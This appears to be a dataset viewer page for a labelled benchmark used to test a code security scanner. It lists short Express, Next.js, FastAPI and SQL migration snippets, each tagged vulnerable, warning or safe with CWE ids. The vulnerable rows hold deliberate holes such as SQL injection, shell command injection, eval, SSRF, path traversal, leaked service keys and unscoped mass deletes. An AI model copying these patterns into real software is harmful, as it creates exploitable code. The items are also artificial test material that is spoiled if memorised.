Dataset Viewer
Auto-converted to Parquet Duplicate
id
string
label
string
stack
string
group
string
path
string
categories
list
cwe
list
code
string
cargo_git_http_dep
warning
nextjs
synthetic-v1
Cargo.toml
[ "insecure_dependency_source" ]
[ "CWE-829" ]
[package] name = "demo" version = "0.1.0" [dependencies] serde = "1" shady = { git = "http://example.com/shady.git" }
cve_2014_6394_express_sendfile_traversal
vulnerable
express
cve-repro-v1
server.js
[ "path_traversal" ]
[ "CWE-22" ]
const express = require("express"); const path = require("path"); const app = express(); const UPLOADS = "/app/uploads/"; // Modeled on the documented Express res.sendFile() path traversal class // (CVE-2014-6394 in `send`): a user-controlled filename is concatenated to a base // dir and served with no `root` option, ...
cve_2017_5941_node_serialize_deser
vulnerable
express
cve-repro-v1
server.js
[ "insecure_deserialization" ]
[ "CWE-502" ]
const express = require("express"); const serialize = require("node-serialize"); const app = express(); // CVE-2017-5941: node-serialize unserialize() on untrusted input enables RCE via // an IIFE payload (_$$ND_FUNC$$_). Here the request body is deserialized directly. app.post("/session/load", (req, res) => { const...
cve_2023_26111_node_static_path_traversal
vulnerable
express
cve-repro-v1
server.js
[ "path_traversal" ]
[ "CWE-22" ]
const express = require("express"); const fs = require("fs"); const path = require("path"); const app = express(); const ROOT = path.join(__dirname, "public"); // Modeled on node-static CVE-2023-26111: the user-controlled filename is joined to // the web root and read without containment, so `../` sequences escape the...
cve_2024_39338_axios_ssrf
vulnerable
express
cve-repro-v1
server.js
[ "ssrf" ]
[ "CWE-918" ]
const express = require("express"); const axios = require("axios"); const app = express(); // Modeled on axios SSRF CVE-2024-39338: a user-controlled URL is passed to an // HTTP client, so the attacker controls the request destination. app.get("/fetch", async (req, res) => { const r = await axios.get(req.query.url);...
cve_2025_53107_git_mcp_command_injection
vulnerable
express
cve-repro-v1
server.js
[ "command_injection" ]
[ "CWE-78" ]
const express = require("express"); const { exec } = require("child_process"); const app = express(); // Modeled on git-mcp-server CVE-2025-53107: a request parameter is concatenated // into a shell command run via child_process.exec (no sanitization). app.post("/git/log", (req, res) => { exec(`git -C ${req.body.rep...
cve_2026_41640_nocobase_concat_sqli
vulnerable
express
cve-repro-v1
server.js
[ "sql_injection" ]
[ "CWE-89" ]
const express = require("express"); const mysql = require("mysql2"); const db = mysql.createConnection({}); const app = express(); // Modeled on the documented mysql concatenation SQLi class (e.g. CVE-2026-41640, // @nocobase/database): user input concatenated into a query string, not bound. app.get("/user/:id", (req,...
express_delete_guarded
safe
express
synthetic-v1
routes/users.js
[]
[]
const express = require("express"); const router = express.Router(); // Suppression gardée : un visiteur non authentifié est rejeté (401) AVANT // l'écriture. La définition de route `router.delete(...)` n'est PAS une // écriture DB. -> aucun finding attendu. router.delete("/users/:id", async (req, res) => { if (!req...
express_exec_safe
safe
express
synthetic-v1
lib/git.js
[]
[]
const { execFile } = require("child_process"); // commande fixe + arguments en tableau, sans shell -> pas d'injection function gitClone(repoArg) { // repoArg passé en argument séparé (pas interpolé dans une chaîne shell) execFile("git", ["clone", "--depth", "1", repoArg], (e) => {}); } module.exports = { gitClone ...
express_knex_delete_no_where
vulnerable
express
synthetic-v1
routes/admin.js
[ "destructive_query" ]
[]
const router = require("express").Router(); const knex = require("../db"); // .del() sans .where -> vide la table users entière à chaque appel. router.post("/wipe", async (req, res) => { await knex("users").del(); res.json({ ok: true }); }); module.exports = router;
express_knex_delete_scoped_safe
safe
express
synthetic-v1
routes/sessions.js
[]
[]
const router = require("express").Router(); const knex = require("../db"); const { currentUser } = require("../auth"); // Portée délimitée par le tenant courant (dérivé du serveur, après auth) -> // supprime uniquement les sessions de ce tenant, pas toute la table. router.post("/sessions/clear", async (req, res) => { ...
express_knex_raw_sqli
vulnerable
express
synthetic-v1
routes/search.js
[ "sql_injection" ]
[ "CWE-89" ]
// SQL brut via knex.raw avec une entrée non fiable concaténée -> injection SQL. function search(req, res) { return knex.raw("SELECT * FROM products WHERE name = '" + req.query.q + "'"); } module.exports = { search };
express_kysely_delete_from_all
vulnerable
express
synthetic-v1
routes/admin.js
[ "destructive_query" ]
[]
const router = require("express").Router(); const { db } = require("../db"); // Kysely : deleteFrom sans where -> vide la table sessions entière. router.post("/wipe", async (req, res) => { await db.deleteFrom("sessions").execute(); res.json({ ok: true }); }); module.exports = router;
express_nosql_field_safe
safe
express
synthetic-v1
routes/users.js
[]
[]
const User = require("../models/User"); // Champ extrait et casté (pas la requête entière) -> pas d'injection // d'opérateurs -> ne doit PAS être flagué. app.get("/user", (req, res) => { User.findOne({ email: String(req.body.email) }).then((u) => res.json(u)); });
express_nosql_injection
vulnerable
express
synthetic-v1
routes/login.js
[ "nosql_injection" ]
[ "CWE-943" ]
const User = require("../models/User"); // Toute la requête vient du corps : un attaquant envoie des OPÉRATEURS Mongo // ({ "$gt": "" }, { "$ne": null }) au lieu de valeurs et contourne le filtre. app.post("/login", (req, res) => { User.findOne(req.body).then((u) => res.json(u)); });
express_raw_delete_all
vulnerable
express
synthetic-v1
routes/cleanup.js
[ "destructive_query" ]
[]
const router = require("express").Router(); const pool = require("../db"); // DELETE brut SANS clause WHERE -> efface toute la table sessions à chaque appel. router.post("/sessions/purge", async (req, res) => { await pool.query("DELETE FROM sessions"); res.json({ ok: true }); }); module.exports = router;
express_raw_delete_maintenance_safe
safe
express
synthetic-v1
routes/maintenance.js
[]
[]
const router = require("express").Router(); const pool = require("../db"); // Purge bornée par une condition temporelle, sans aucune entrée utilisateur -> // ne supprime que les sessions expirées, pas toute la table. router.post("/sessions/expired", async (req, res) => { await pool.query("DELETE FROM sessions WHERE ...
express_sequelize_destroy_all
vulnerable
express
synthetic-v1
routes/users.js
[ "destructive_query" ]
[]
const router = require("express").Router(); const { User } = require("../models"); // destroy({ where: {} }) : portée vide -> supprime TOUS les utilisateurs. router.post("/users/wipe", async (req, res) => { await User.destroy({ where: {} }); res.json({ ok: true }); }); module.exports = router;
express_sql_tag_delete_all
vulnerable
express
synthetic-v1
src/repo.js
[ "destructive_query" ]
[]
const sql = require("../db"); // Tag `sql` (postgres.js) avec un DELETE sans WHERE -> efface toute la table. async function purgeSessions() { await sql`DELETE FROM sessions`; } module.exports = { purgeSessions };
express_sqli_concat
vulnerable
express
synthetic-v1
routes/users.js
[ "sql_injection" ]
[ "CWE-89" ]
const express = require("express"); const { pool } = require("../db"); const router = express.Router(); router.get("/users/:id", async (req, res) => { // req.params.id concaténé brut dans une requête SQL -> injection. const { rows } = await pool.query( "SELECT * FROM users WHERE id = " + req.params.id ); r...
express_sqli_param_helper
vulnerable
express
synthetic-v1
routes/logout.js
[ "sql_injection" ]
[ "CWE-89" ]
// Le sink SQL est DANS le helper ; la donnée non fiable entre par le PARAMÈTRE. // Le taint inter-fonction lie l'argument souillé au paramètre `payload`. function runQuery(payload) { db.query("DELETE FROM sessions WHERE token = " + payload.token); } app.post("/logout", (req, res) => { runQuery(req.body); res.js...
express_sqli_via_helper
vulnerable
express
synthetic-v1
routes/users.js
[ "sql_injection" ]
[ "CWE-89" ]
// L'entrée non fiable transite par un helper local avant d'atteindre le sink SQL. // Le taint inter-fonction suit `buildId` -> `id` est souillé -> injection SQL. function buildId(req) { return req.query.id; } app.get("/users", (req, res) => { const id = buildId(req); const rows = db.query("SELECT * FROM users W...
express_ssrf_via_helper
vulnerable
express
synthetic-v1
routes/proxy.js
[ "ssrf" ]
[ "CWE-918" ]
// L'URL sortante vient d'un helper local qui lit l'entrée, appelé INLINE dans // le sink. Le taint inter-fonction (au niveau du sink) attrape le SSRF. function target(req) { return req.query.url; } app.get("/proxy", (req, res) => { fetch(target(req)).then((r) => r.text()).then((t) => res.send(t)); });
express_token_in_response
vulnerable
express
synthetic-v1
routes/api.js
[ "secret_in_response" ]
[ "CWE-200" ]
// Renvoie un secret serveur (token GitHub) dans la réponse -> fuite vers le client. function handler(req, res) { res.json({ ok: true, token: process.env.GITHUB_TOKEN }); } module.exports = handler;
fastapi_safe_pydantic
safe
fastapi
synthetic-v1
app/main.py
[]
[]
from fastapi import FastAPI, Depends from sqlalchemy import select from .db import get_session, User from .auth import current_user app = FastAPI() @app.get("/users/{user_id}") async def get_user(user_id: int, session=Depends(get_session), me=Depends(current_user)): # user_id est typé int (Pydantic valide/conver...
knex_drop_column
vulnerable
express
synthetic-v1
migrations/0005_drop_email.js
[ "destructive_migration" ]
[]
exports.up = function (knex) { return knex.schema.alterTable("users", (table) => { table.dropColumn("email"); }); }; exports.down = function (knex) { return knex.schema.alterTable("users", (table) => { table.string("email"); }); };
migration_add_fk_locking
warning
sql
synthetic-v1
migrations/0042_orders_fk.sql
[ "locking_constraint_migration" ]
[]
-- migration 0042: enforce that every order references a real user (orders already populated) ALTER TABLE orders ADD CONSTRAINT fk_orders_user FOREIGN KEY (user_id) REFERENCES users (id);
migration_add_notnull_no_default
warning
nextjs
synthetic-v1
migrations/0007_add_age.sql
[ "risky_not_null_migration" ]
[]
-- ajoute une colonne obligatoire SANS valeur par défaut : -- échoue si la table users contient déjà des lignes ALTER TABLE users ADD COLUMN age integer NOT NULL;
migration_add_notnull_with_default
safe
nextjs
synthetic-v1
migrations/0008_add_age_default.sql
[]
[]
-- colonne obligatoire AVEC valeur par défaut : les lignes existantes -- reçoivent la valeur -> migration sûre même sur table peuplée ALTER TABLE users ADD COLUMN age integer NOT NULL DEFAULT 0;
migration_alter_default_safe
safe
sql
synthetic-v1
migrations/0010_defaults.sql
[]
[]
-- changements additifs/sûrs : pas de perte de données, pas de renommage, -- pas de changement de type -> aucun finding attendu ALTER TABLE users ADD COLUMN bio text; ALTER TABLE users ALTER COLUMN role SET DEFAULT 'member'; ALTER TABLE users ALTER COLUMN role DROP DEFAULT;
migration_comment_safe
safe
sql
synthetic-v1
migrations/0004_add_note.sql
[]
[]
-- on supprimait avant avec DROP TABLE users; ce n'est plus le cas ALTER TABLE users ADD COLUMN note text;
migration_create_index_concurrently_safe
safe
sql
synthetic-v1
migrations/0032_index_email_cc.sql
[]
[]
-- build sans verrou d'écriture CREATE INDEX CONCURRENTLY idx_users_email ON users (email);
migration_create_index_locking
warning
sql
synthetic-v1
migrations/0031_index_email.sql
[ "locking_index_migration" ]
[]
-- index ajouté sur une table déjà en production CREATE INDEX idx_users_email ON users (email);
migration_delete_no_where
vulnerable
sql
synthetic-v1
migrations/0002_cleanup.sql
[ "destructive_migration" ]
[]
DELETE FROM sessions;
migration_delete_real_where_safe
safe
sql
synthetic-v1
migrations/0021_expire.sql
[]
[]
-- ne supprime que les sessions expirées (portée réelle) DELETE FROM sessions WHERE expires_at < now();
migration_delete_where_always_true
vulnerable
sql
synthetic-v1
migrations/0020_purge.sql
[ "destructive_migration" ]
[]
-- purge des sessions DELETE FROM sessions WHERE 1 = 1;
migration_drop_constraint
warning
sql
synthetic-v1
migrations/0030_drop_fk.sql
[ "integrity_drop" ]
[]
-- retrait de la clé étrangère ALTER TABLE orders DROP CONSTRAINT orders_user_fk;
migration_drop_table
vulnerable
sql
synthetic-v1
prisma/migrations/20240101_drop/migration.sql
[ "destructive_migration" ]
[]
-- supprime l'ancienne table DROP TABLE users;
migration_drop_tenant_id
vulnerable
sql
synthetic-v1
migrations/0011_drop_tenant.sql
[ "tenant_isolation_break" ]
[ "CWE-863" ]
-- retire la colonne d'isolation multi-tenant : -- les lignes ne sont plus cloisonnées par organisation -> fuite cross-tenant ALTER TABLE invoices DROP COLUMN tenant_id;
migration_drop_trigger
warning
sql
synthetic-v1
migrations/0031_drop_trigger.sql
[ "dropped_trigger" ]
[]
-- suppression du déclencheur d'audit DROP TRIGGER audit_orders ON orders;
migration_rename_column
warning
sql
synthetic-v1
migrations/0008_rename_email.sql
[ "breaking_rename" ]
[]
-- renomme une colonne existante : -- tout le code (ORM, requêtes, vues) qui lit `email` casse au déploiement ALTER TABLE users RENAME COLUMN email TO email_address;
migration_rls_policy_permissive
warning
nextjs
synthetic-v1
supabase/migrations/0005_policy.sql
[ "permissive_rls_policy" ]
[ "CWE-862" ]
-- RLS activée mais policy permissive : aucune isolation réelle create table public_notes ( id uuid primary key default gen_random_uuid(), body text ); alter table public_notes enable row level security; create policy "all access" on public_notes for all using (true) with check (true);
migration_rls_policy_scoped
safe
nextjs
synthetic-v1
supabase/migrations/0006_policy_scoped.sql
[]
[]
-- RLS avec policy scopée au propriétaire : isolation réelle create table notes ( id uuid primary key default gen_random_uuid(), owner_id uuid, body text ); alter table notes enable row level security; create policy "own notes" on notes for all using (auth.uid() = owner_id) with check (auth.uid() = owner_id);
migration_safe
safe
sql
synthetic-v1
migrations/0003_add_bio.sql
[]
[]
ALTER TABLE users ADD COLUMN bio text; DELETE FROM sessions WHERE expired = true;
migration_supabase_missing_rls
warning
nextjs
synthetic-v1
supabase/migrations/0003_comments.sql
[ "missing_rls" ]
[ "CWE-862" ]
-- migration Supabase : posts est protégée, comments est oubliée create table posts ( id uuid primary key default gen_random_uuid(), author_id uuid, body text ); alter table posts enable row level security; create policy "own posts" on posts for select using (auth.uid() = author_id); create table comments ( id...
migration_supabase_rls_ok
safe
nextjs
synthetic-v1
supabase/migrations/0004_rls.sql
[]
[]
-- migration Supabase : toutes les tables ont RLS activée create table posts ( id uuid primary key default gen_random_uuid(), body text ); alter table posts enable row level security; create table comments ( id uuid primary key default gen_random_uuid(), body text ); alter table comments enable row level secur...
migration_type_narrowing
warning
sql
synthetic-v1
migrations/0009_counter_type.sql
[ "risky_type_change" ]
[]
-- réduit le type d'une colonne existante : -- les bigint hors plage int sont tronqués / la migration peut échouer ALTER TABLE events ALTER COLUMN counter TYPE integer;
nextjs_anon_key_client_safe
safe
nextjs
synthetic-v1
app/providers/supabase.tsx
[]
[]
"use client"; import { createClient } from "@supabase/supabase-js"; // composant client utilisant UNIQUEMENT des variables publiques NEXT_PUBLIC_ -> sûr export const supabase = createClient( process.env.NEXT_PUBLIC_SUPABASE_URL!, process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!, );
nextjs_code_injection_eval
vulnerable
nextjs
synthetic-v1
app/api/run/route.ts
[ "code_injection" ]
[ "CWE-95" ]
// exécute une expression venant de la requête -> exécution de code arbitraire export async function GET({ params }: { params: { code: string } }) { return eval(params.code); }
nextjs_command_injection
vulnerable
nextjs
synthetic-v1
app/ping/route.ts
[ "command_injection" ]
[ "CWE-78" ]
import { exec } from "child_process"; // exécute une commande shell contenant une entrée de l'URL -> command injection export function GET({ searchParams }: { searchParams: { host: string } }) { exec("ping -c 1 " + searchParams.host, (e, out) => console.log(out)); return new Response("ok"); }
nextjs_delete_guard_after
vulnerable
nextjs
synthetic-v1
app/invoices/[id]/route.ts
[ "missing_authorization" ]
[ "CWE-862" ]
import { prisma } from "@/lib/db"; import { auth } from "@/lib/auth"; import { NextRequest, NextResponse } from "next/server"; export async function DELETE(req: NextRequest, { params }: { params: { id: string } }) { await prisma.invoice.delete({ where: { id: params.id } }); const session = await auth(); // trop ta...
nextjs_delete_guarded
safe
nextjs
synthetic-v1
app/invoices/[id]/route.ts
[]
[]
import { prisma } from "@/lib/db"; import { auth } from "@/lib/auth"; import { NextRequest, NextResponse } from "next/server"; export async function DELETE(req: NextRequest, { params }: { params: { id: string } }) { const session = await auth(); if (!session) return NextResponse.json({ error: "unauthorized" }, { s...
nextjs_delete_unguarded
vulnerable
nextjs
synthetic-v1
app/invoices/[id]/route.ts
[ "missing_authorization" ]
[ "CWE-862" ]
import { prisma } from "@/lib/db"; import { NextRequest, NextResponse } from "next/server"; export async function DELETE(req: NextRequest, { params }: { params: { id: string } }) { await prisma.invoice.delete({ where: { id: params.id } }); return NextResponse.json({ ok: true }); }
nextjs_deletemany_always_true_or
vulnerable
nextjs
synthetic-v1
app/api/users/route.ts
[ "destructive_query" ]
[]
import { prisma } from "@/lib/db"; import { auth } from "@/lib/auth"; import { NextRequest, NextResponse } from "next/server"; export async function DELETE(req: NextRequest) { const session = await auth(); if (!session?.user) return NextResponse.json({ error: "Unauthorized" }, { status: 401 }); const { ids } = ...
nextjs_drizzle_update_all
vulnerable
nextjs
synthetic-v1
app/api/admin/promote/route.ts
[ "destructive_query" ]
[]
import { db } from "@/lib/db"; import { users } from "@/lib/schema"; // Drizzle : update sans where -> réécrit le rôle de TOUS les utilisateurs. export async function POST() { await db.update(users).set({ role: "admin" }); return Response.json({ ok: true }); }
nextjs_drizzle_update_scoped_safe
safe
nextjs
synthetic-v1
app/api/profile/route.ts
[]
[]
import { db } from "@/lib/db"; import { users, eq } from "@/lib/schema"; import { auth } from "@/lib/auth"; // Portée par .where(...) + gardé par auth -> n'affecte que la ligne ciblée. export async function POST(req: Request) { const s = await auth(req); const { id } = await req.json(); await db.update(users).se...
nextjs_idor_destructured
vulnerable
nextjs
synthetic-v1
app/invoices/[id]/route.ts
[ "idor" ]
[ "CWE-639" ]
import { prisma } from "@/lib/db"; import { NextRequest, NextResponse } from "next/server"; export async function GET(req: NextRequest, { params }: { params: { id: string } }) { const { id } = params; const invoice = await prisma.invoice.findUnique({ where: { id } }); return NextResponse.json(invoice); }
nextjs_idor_invoice
vulnerable
nextjs
synthetic-v1
app/invoices/[id]/route.ts
[ "idor" ]
[ "CWE-639" ]
import { prisma } from "@/lib/db"; import { auth } from "@/lib/auth"; import { NextRequest, NextResponse } from "next/server"; export async function GET(req: NextRequest, { params }: { params: { id: string } }) { const session = await auth(); // Lecture d'un modèle sensible par id SEUL : aucun filtre d'ownership. ...
nextjs_idor_safe_ownership
safe
nextjs
synthetic-v1
app/invoices/[id]/route.ts
[]
[]
import { prisma } from "@/lib/db"; import { auth } from "@/lib/auth"; import { NextRequest, NextResponse } from "next/server"; export async function GET(req: NextRequest, { params }: { params: { id: string } }) { const session = await auth(); // Lecture filtrée par ownerId : un user ne lit QUE ses factures. Pas d'...
nextjs_insecure_random
warning
nextjs
synthetic-v1
app/lib/session.ts
[ "insecure_random" ]
[ "CWE-338" ]
// génère un token de session avec Math.random() -> prédictible (non cryptographique) export function newSessionToken() { return Math.random().toString(36).slice(2); }
nextjs_jsonparse_safe
safe
nextjs
synthetic-v1
app/api/parse/route.ts
[]
[]
// parse des données venant de la requête (pas d'exécution) -> usage sûr export async function POST({ params }: { params: { body: string } }) { const data = JSON.parse(params.body); return Response.json({ ok: true, count: Object.keys(data).length }); }
nextjs_log_safe
safe
nextjs
synthetic-v1
app/api/health/route.ts
[]
[]
export async function GET() { // logge des variables NON secrètes -> usage normal, aucun secret exposé console.log("env:", process.env.NODE_ENV, process.env.NEXT_PUBLIC_APP_URL); return new Response("ok"); }
nextjs_open_redirect
vulnerable
nextjs
synthetic-v1
app/go/route.ts
[ "open_redirect" ]
[ "CWE-601" ]
import { redirect } from "next/navigation"; // redirige vers une URL venant de la query -> open redirect (phishing) export function GET({ searchParams }: { searchParams: { next: string } }) { redirect(searchParams.next); }
nextjs_path_sanitized_safe
safe
nextjs
synthetic-v1
app/download/route.ts
[]
[]
import fs from "fs"; import path from "path"; // le chemin est neutralisé (basename) -> pas de traversal -> sûr export function GET({ searchParams }: { searchParams: { file: string } }) { const safe = path.basename(searchParams.file); const data = fs.readFileSync(path.join("./public", safe), "utf8"); return new ...
nextjs_path_traversal
vulnerable
nextjs
synthetic-v1
app/download/route.ts
[ "path_traversal" ]
[ "CWE-22" ]
import fs from "fs"; // lit un fichier dont le chemin vient de la query -> path traversal (../../etc/passwd) export function GET({ searchParams }: { searchParams: { file: string } }) { const data = fs.readFileSync(searchParams.file, "utf8"); return new Response(data); }
nextjs_prisma_deletemany_all
vulnerable
nextjs
synthetic-v1
app/api/admin/cleanup/route.ts
[ "destructive_query" ]
[]
import { prisma } from "@/lib/db"; // Un agent à qui on demande de « nettoyer les sessions » émet un deleteMany() // sans filtre -> efface TOUTES les sessions, de tous les utilisateurs. export async function POST() { await prisma.session.deleteMany(); return Response.json({ ok: true }); }
nextjs_prisma_deletemany_scoped_safe
safe
nextjs
synthetic-v1
app/api/sessions/clear/route.ts
[]
[]
import { prisma } from "@/lib/db"; import { auth } from "@/lib/auth"; // Suppression DÉLIMITÉE par le tenant courant (dérivé du serveur) -> n'efface // que les sessions de ce tenant, pas toute la table. export async function POST(req: Request) { const { tenantId } = await auth(req); await prisma.session.deleteMany...
nextjs_prisma_executeraw_delete
vulnerable
nextjs
synthetic-v1
app/api/admin/wipe/route.ts
[ "destructive_query" ]
[]
import { prisma } from "@/lib/db"; // $executeRawUnsafe avec un DELETE sans WHERE : contourne l'ORM et efface tout. export async function POST() { await prisma.$executeRawUnsafe(`DELETE FROM audit_logs`); return Response.json({ ok: true }); }
nextjs_prisma_updatemany_all
vulnerable
nextjs
synthetic-v1
app/api/admin/promote/route.ts
[ "destructive_query" ]
[]
import { prisma } from "@/lib/db"; // updateMany SANS clause where -> réécrit le rôle de TOUS les utilisateurs. export async function POST() { await prisma.user.updateMany({ data: { role: "admin" } }); return Response.json({ ok: true }); }
nextjs_public_service_role_client
vulnerable
nextjs
synthetic-v1
app/admin/page.tsx
[ "public_secret_env" ]
[ "CWE-200" ]
"use client"; // secret PRÉFIXÉ NEXT_PUBLIC_ -> Next.js l'inline dans le bundle navigateur -> fuite PROUVÉE const admin = process.env.NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY;
nextjs_redirect_validated_safe
safe
nextjs
synthetic-v1
app/go/route.ts
[]
[]
import { redirect } from "next/navigation"; // la cible est validée (chemin interne uniquement) -> redirection sûre export function GET({ searchParams }: { searchParams: { next: string } }) { const raw = searchParams.next; const target = raw.startsWith("/") && !raw.startsWith("//") ? raw : "/"; redirect(target);...
nextjs_safe_parameterized
safe
nextjs
synthetic-v1
app/users/[id]/route.ts
[]
[]
import { prisma } from "@/lib/db"; import { NextRequest, NextResponse } from "next/server"; export async function GET(req: NextRequest, { params }: { params: { id: string } }) { // id validé en entier puis requête paramétrée (template tag) : sûr. const id = parseInt(params.id, 10); if (Number.isNaN(id)) { re...
nextjs_secret_in_logs
warning
nextjs
synthetic-v1
app/api/pay/route.ts
[ "secret_in_logs" ]
[ "CWE-532" ]
export async function POST() { // logge la clé Stripe -> elle finit en clair dans les logs (Vercel/CloudWatch) console.log("stripe key:", process.env.STRIPE_SECRET_KEY); return new Response("ok"); }
nextjs_secret_in_response
vulnerable
nextjs
synthetic-v1
app/api/config/route.ts
[ "secret_in_response" ]
[ "CWE-200" ]
import { NextResponse } from "next/server"; // renvoie la service_role dans la réponse -> exposée à tout appelant de l'endpoint export async function GET() { return NextResponse.json({ key: process.env.SUPABASE_SERVICE_ROLE_KEY }); }
nextjs_secret_multiline_response
vulnerable
nextjs
synthetic-v1
app/api/cfg/route.ts
[ "secret_in_response" ]
[ "CWE-200" ]
import { NextResponse } from "next/server"; export async function GET() { return NextResponse.json({ ok: true, serviceKey: process.env.SUPABASE_SERVICE_ROLE_KEY, }); }
nextjs_secret_var_in_response
vulnerable
nextjs
synthetic-v1
app/api/config/route.ts
[ "secret_in_response" ]
[ "CWE-200" ]
import { NextResponse } from "next/server"; // le secret passe par une variable avant d'être renvoyé : seul le taint le relie export async function GET() { const adminKey = process.env.SUPABASE_SERVICE_ROLE_KEY; return NextResponse.json({ config: adminKey }); }
nextjs_secret_via_helper_response
vulnerable
nextjs
synthetic-v1
app/api/config/route.ts
[ "secret_in_response" ]
[ "CWE-200" ]
import { NextResponse } from "next/server"; // Le secret est encapsulé dans un helper, puis renvoyé dans la réponse : il fuit // vers le client. Le suivi de variables ne verrait rien (retour de fonction). function stripeKey() { return process.env.STRIPE_SECRET_KEY; } export async function GET() { return NextRespo...
nextjs_service_role_client
warning
nextjs
synthetic-v1
app/lib/supabase-client.ts
[ "server_secret_in_client" ]
[ "CWE-200" ]
"use client"; import { createClient } from "@supabase/supabase-js"; // service_role (non public) dans un client -> undefined au runtime navigateur, mais à auditer (piège NEXT_PUBLIC_) export const supabase = createClient( process.env.NEXT_PUBLIC_SUPABASE_URL!, process.env.SUPABASE_SERVICE_ROLE_KEY!, );
nextjs_service_role_server_safe
safe
nextjs
synthetic-v1
app/lib/supabase-admin.ts
[]
[]
import { createClient } from "@supabase/supabase-js"; // service_role côté SERVEUR (pas de "use client") -> usage correct, ne fuit pas export const supabaseAdmin = createClient( process.env.SUPABASE_URL!, process.env.SUPABASE_SERVICE_ROLE_KEY!, );
nextjs_sha256_safe
safe
nextjs
synthetic-v1
app/lib/crypto.ts
[]
[]
import crypto from "crypto"; // condensat en SHA-256 + token via CSPRNG -> usage correct export function fingerprint(data: string) { return crypto.createHash("sha256").update(data).digest("hex"); } export function newToken() { return crypto.randomBytes(32).toString("hex"); }
nextjs_sqli_body
vulnerable
nextjs
synthetic-v1
app/api/accounts/route.ts
[ "sql_injection" ]
[ "CWE-89" ]
import { prisma } from "@/lib/db"; import { NextRequest } from "next/server"; // Le corps de la requête (await req.json()) est une SOURCE non fiable. export async function POST(req: NextRequest) { const { id } = await req.json(); return prisma.$queryRawUnsafe(`SELECT * FROM accounts WHERE id = ${id}`); }
nextjs_sqli_db_query
vulnerable
nextjs
synthetic-v1
app/users/[id]/route.ts
[ "sql_injection" ]
[ "CWE-89" ]
import { db } from "@/lib/db"; import { NextRequest, NextResponse } from "next/server"; export async function GET(req: NextRequest, { params }: { params: { id: string } }) { const rows = await db.query("SELECT * FROM users WHERE id = " + params.id); return NextResponse.json(rows); }
nextjs_sqli_raw
vulnerable
nextjs
synthetic-v1
app/users/[id]/route.ts
[ "sql_injection" ]
[ "CWE-89" ]
import { prisma } from "@/lib/db"; import { NextRequest, NextResponse } from "next/server"; export async function GET(req: NextRequest, { params }: { params: { id: string } }) { // params.id vient de l'URL (source publique, aucune auth) et atterrit brut // dans une requête SQL non paramétrée -> injection. const ...
nextjs_ssrf
vulnerable
nextjs
synthetic-v1
app/proxy/route.ts
[ "ssrf" ]
[ "CWE-918" ]
// proxy qui appelle une URL venant de la query -> SSRF (169.254.169.254, services internes) export async function GET({ searchParams }: { searchParams: { url: string } }) { const res = await fetch(searchParams.url); return new Response(await res.text()); }
nextjs_ssrf_config_host_safe
safe
nextjs
synthetic-v1
app/users/[id]/route.ts
[]
[]
import { NextRequest, NextResponse } from "next/server"; // Le HOST vient de la configuration serveur (process.env), pas de l'utilisateur. // L'entrée n'apparaît que dans le chemin -> la destination reste un service de // confiance, l'attaquant ne peut pas la rediriger -> pas un SSRF. export async function GET(req: Ne...
nextjs_ssrf_fixed_host_safe
safe
nextjs
synthetic-v1
app/charges/[id]/route.ts
[]
[]
import { NextRequest, NextResponse } from "next/server"; // Le host est FIXE (api.stripe.com). L'entrée n'est qu'un segment de chemin : // l'attaquant ne peut pas rediriger la requête ailleurs -> pas un SSRF. export async function GET(req: NextRequest, { params }: { params: { id: string } }) { const res = await fetc...
nextjs_ssrf_validated_safe
safe
nextjs
synthetic-v1
app/proxy/route.ts
[]
[]
// la cible est restreinte à une liste blanche de domaines -> pas de SSRF const ALLOWED_HOSTS = new Set(["api.github.com", "api.stripe.com"]); export async function GET({ searchParams }: { searchParams: { url: string } }) { const u = new URL(searchParams.url); if (!ALLOWED_HOSTS.has(u.hostname)) { return new R...
nextjs_stripe_secret_client
warning
nextjs
synthetic-v1
app/pay/page.tsx
[ "server_secret_in_client" ]
[ "CWE-200" ]
"use client"; // secret Stripe (non public) dans un client -> undefined au runtime, mais à auditer (piège NEXT_PUBLIC_) const stripeKey = process.env.STRIPE_SECRET_KEY;
nextjs_trpc_protected_safe
safe
nextjs
synthetic-v1
server/trpc/orders.ts
[]
[]
import { protectedProcedure } from "@/server/trpc"; // protectedProcedure impose l'authentification (wrapper) ; le where est scopé // par orgId -> ni mass-write, ni missing-auth -> aucun finding (pas de FP). export const setStatus = protectedProcedure.mutation(async ({ input }) => { await prisma.order.updateMany({ ...
nextjs_updatemany_dynamic_empty_where
vulnerable
nextjs
synthetic-v1
app/api/orders/route.ts
[ "destructive_query" ]
[]
import { prisma } from "@/lib/db"; import { NextRequest, NextResponse } from "next/server"; export async function PATCH(req: NextRequest) { const { status, userId } = await req.json(); const whereClause: any = {}; if (userId) whereClause.userId = userId; // peut rester {} si pas de userId await prisma.orde...
nextjs_updatemany_ternary_empty_where
vulnerable
nextjs
synthetic-v1
app/api/orders/route.ts
[ "destructive_query" ]
[]
import { prisma } from "@/lib/db"; import { NextRequest, NextResponse } from "next/server"; export async function PATCH(req: NextRequest) { const { status, userId } = await req.json(); await prisma.order.updateMany({ where: userId ? { userId } : {}, // si userId absent -> where vide -> tout data: { stat...
nextjs_weak_crypto_md5
vulnerable
nextjs
synthetic-v1
app/lib/hash.ts
[ "weak_crypto" ]
[ "CWE-327" ]
import crypto from "crypto"; // hachage de mot de passe en MD5 -> cassé (collisions, rainbow tables) export function hashPassword(pw: string) { return crypto.createHash("md5").update(pw).digest("hex"); }
nextjs_xss_dangerous_html
vulnerable
nextjs
synthetic-v1
app/post/page.tsx
[ "xss" ]
[ "CWE-79" ]
// rend du HTML venant de l'URL sans assainir -> XSS export default function Page({ params }: { params: { html: string } }) { return <main dangerouslySetInnerHTML={{ __html: params.html }} />; }
nextjs_xss_sanitized_safe
safe
nextjs
synthetic-v1
app/post/page.tsx
[]
[]
import DOMPurify from "isomorphic-dompurify"; // HTML assaini avant rendu -> usage sûr export default function Page({ params }: { params: { html: string } }) { return <main dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(params.html) }} />; }
nextjs_xss_static_const_safe
safe
nextjs
synthetic-v1
components/Demo.tsx
[]
[]
// HTML STATIQUE : la chaîne contient du code de démo (`params.id`) mais ce n'est // PAS une entrée utilisateur -> ne doit pas être traité comme une fuite (anti-FP). const SAFE_CODE = `<span>where: { id: params.id, ownerId: session.user.id }</span>`; export default function Demo() { return <pre dangerouslySetInnerHT...
npm_http_dependency
warning
nextjs
synthetic-v1
package.json
[ "insecure_dependency_source" ]
[ "CWE-829" ]
